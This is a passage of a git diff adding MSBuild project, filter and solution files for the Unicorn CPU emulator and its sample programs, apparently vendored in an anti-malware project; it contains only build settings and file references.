Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_x86_32_gdt_and_seg_regs.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86_32_gdt_and_seg_regs/sample_x86_32_gdt_and_seg_regs.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86_32_gdt_and_seg_regs/sample_x86_32_gdt_and_seg_regs.vcxproj.filters new file mode 100644 index 0000000..960616d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_x86_32_gdt_and_seg_regs/sample_x86_32_gdt_and_seg_regs.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_x86_32_gdt_and_seg_regs.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/shellcode/shellcode.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/shellcode/shellcode.vcxproj new file mode 100644 index 0000000..2ecad9d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/shellcode/shellcode.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\shellcode.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{F113B460-4B21-4014-9A15-D472FAA9E3F9}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>shellcode</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/shellcode/shellcode.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/shellcode/shellcode.vcxproj.filters new file mode 100644 index 0000000..1f571b6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/shellcode/shellcode.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\shellcode.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn.sln b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn.sln new file mode 100644 index 0000000..03da775 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn.sln @@ -0,0 +1,370 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unicorn", "unicorn\unicorn\unicorn.vcxproj", "{ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}" + ProjectSection(ProjectDependencies) = postProject + {740F3007-7BF0-4C0C-8FA5-2587C794EF31} = {740F3007-7BF0-4C0C-8FA5-2587C794EF31} + {006A7908-ABF3-4D18-BC35-0A29E39B95F9} = {006A7908-ABF3-4D18-BC35-0A29E39B95F9} + {63050112-E486-4396-B5E4-303C3BC12D39} = {63050112-E486-4396-B5E4-303C3BC12D39} + {8804AD29-E398-480C-AC0F-98EC1B7A51CB} = {8804AD29-E398-480C-AC0F-98EC1B7A51CB} + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773} = {2A7F483F-CD19-4F84-BBDA-B6A1865E2773} + {2C5AD347-6E34-463B-8289-00578E43B255} = {2C5AD347-6E34-463B-8289-00578E43B255} + {4A9F9353-DB63-460A-BB1C-9CB519DFD414} = {4A9F9353-DB63-460A-BB1C-9CB519DFD414} + {698C2D54-475C-446F-B879-F629BBEF75FE} = {698C2D54-475C-446F-B879-F629BBEF75FE} + {17077E86-AE7C-41AF-86ED-2BAC03B019BC} = {17077E86-AE7C-41AF-86ED-2BAC03B019BC} + {4478909E-6983-425C-9D9F-558CF258E61E} = {4478909E-6983-425C-9D9F-558CF258E61E} + {340D86A5-E53C-490B-880A-8EB1F5BDE947} = {340D86A5-E53C-490B-880A-8EB1F5BDE947} + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036} = {F67EB1EA-DCFA-4758-A2AA-4B570BA78036} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "unicorn_static", "unicorn\unicorn_static\unicorn_static.vcxproj", "{B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}" + ProjectSection(ProjectDependencies) = postProject + {740F3007-7BF0-4C0C-8FA5-2587C794EF31} = {740F3007-7BF0-4C0C-8FA5-2587C794EF31} + {006A7908-ABF3-4D18-BC35-0A29E39B95F9} = {006A7908-ABF3-4D18-BC35-0A29E39B95F9} + {63050112-E486-4396-B5E4-303C3BC12D39} = {63050112-E486-4396-B5E4-303C3BC12D39} + {8804AD29-E398-480C-AC0F-98EC1B7A51CB} = {8804AD29-E398-480C-AC0F-98EC1B7A51CB} + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773} = {2A7F483F-CD19-4F84-BBDA-B6A1865E2773} + {2C5AD347-6E34-463B-8289-00578E43B255} = {2C5AD347-6E34-463B-8289-00578E43B255} + {4A9F9353-DB63-460A-BB1C-9CB519DFD414} = {4A9F9353-DB63-460A-BB1C-9CB519DFD414} + {698C2D54-475C-446F-B879-F629BBEF75FE} = {698C2D54-475C-446F-B879-F629BBEF75FE} + {17077E86-AE7C-41AF-86ED-2BAC03B019BC} = {17077E86-AE7C-41AF-86ED-2BAC03B019BC} + {4478909E-6983-425C-9D9F-558CF258E61E} = {4478909E-6983-425C-9D9F-558CF258E61E} + {340D86A5-E53C-490B-880A-8EB1F5BDE947} = {340D86A5-E53C-490B-880A-8EB1F5BDE947} + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036} = {F67EB1EA-DCFA-4758-A2AA-4B570BA78036} + EndProjectSection +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "softmmu", "softmmu", "{857A09AF-FE20-461C-B66F-D779422AD46B}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "aarch64-softmmu", "unicorn\aarch64-softmmu\aarch64-softmmu.vcxproj", "{2A7F483F-CD19-4F84-BBDA-B6A1865E2773}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "arm-softmmu", "unicorn\arm-softmmu\arm-softmmu.vcxproj", "{F67EB1EA-DCFA-4758-A2AA-4B570BA78036}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "armeb-softmmu", "unicorn\armeb-softmmu\armeb-softmmu.vcxproj", "{740F3007-7BF0-4C0C-8FA5-2587C794EF31}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "m68k-softmmu", "unicorn\m68k-softmmu\m68k-softmmu.vcxproj", "{2C5AD347-6E34-463B-8289-00578E43B255}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mips-softmmu", "unicorn\mips-softmmu\mips-softmmu.vcxproj", "{63050112-E486-4396-B5E4-303C3BC12D39}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mips64-softmmu", "unicorn\mips64-softmmu\mips64-softmmu.vcxproj", "{4A9F9353-DB63-460A-BB1C-9CB519DFD414}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mips64el-softmmu", "unicorn\mips64el-softmmu\mips64el-softmmu.vcxproj", "{4478909E-6983-425C-9D9F-558CF258E61E}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mipsel-softmmu", "unicorn\mipsel-softmmu\mipsel-softmmu.vcxproj", "{006A7908-ABF3-4D18-BC35-0A29E39B95F9}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sparc-softmmu", "unicorn\sparc-softmmu\sparc-softmmu.vcxproj", "{698C2D54-475C-446F-B879-F629BBEF75FE}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sparc64-softmmu", "unicorn\sparc64-softmmu\sparc64-softmmu.vcxproj", "{8804AD29-E398-480C-AC0F-98EC1B7A51CB}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "x86_64-softmmu", "unicorn\x86_64-softmmu\x86_64-softmmu.vcxproj", "{17077E86-AE7C-41AF-86ED-2BAC03B019BC}" +EndProject +Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "samples", "samples", "{F8E85E25-4D67-4A6B-A976-C920790B8798}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mem_apis", "samples\mem_apis\mem_apis.vcxproj", "{9D588288-5A28-4AB3-96EA-442CAA508F8E}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_arm", "samples\sample_arm\sample_arm.vcxproj", "{9F32C692-9106-43AF-A291-779A2D8BE096}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_arm64", "samples\sample_arm64\sample_arm64.vcxproj", "{04DC0E3A-F247-45C2-AE27-8DE7493AA43B}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_batch_reg", "samples\sample_batch_reg\sample_batch_reg.vcxproj", "{7AA02EDF-D797-494B-929C-F628F4E4EA62}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_m68k", "samples\sample_m68k\sample_m68k.vcxproj", "{11727C54-463F-472A-88AF-6C3D6071BF0B}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_mips", "samples\sample_mips\sample_mips.vcxproj", "{E34ECD90-3977-4A4B-9641-4D7F1766E9FD}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_sparc", "samples\sample_sparc\sample_sparc.vcxproj", "{A25CA34D-2F64-442B-A5D3-B13CB56C9957}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_x86", "samples\sample_x86\sample_x86.vcxproj", "{F8053D66-8267-433A-BF2C-E07E2298C338}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject 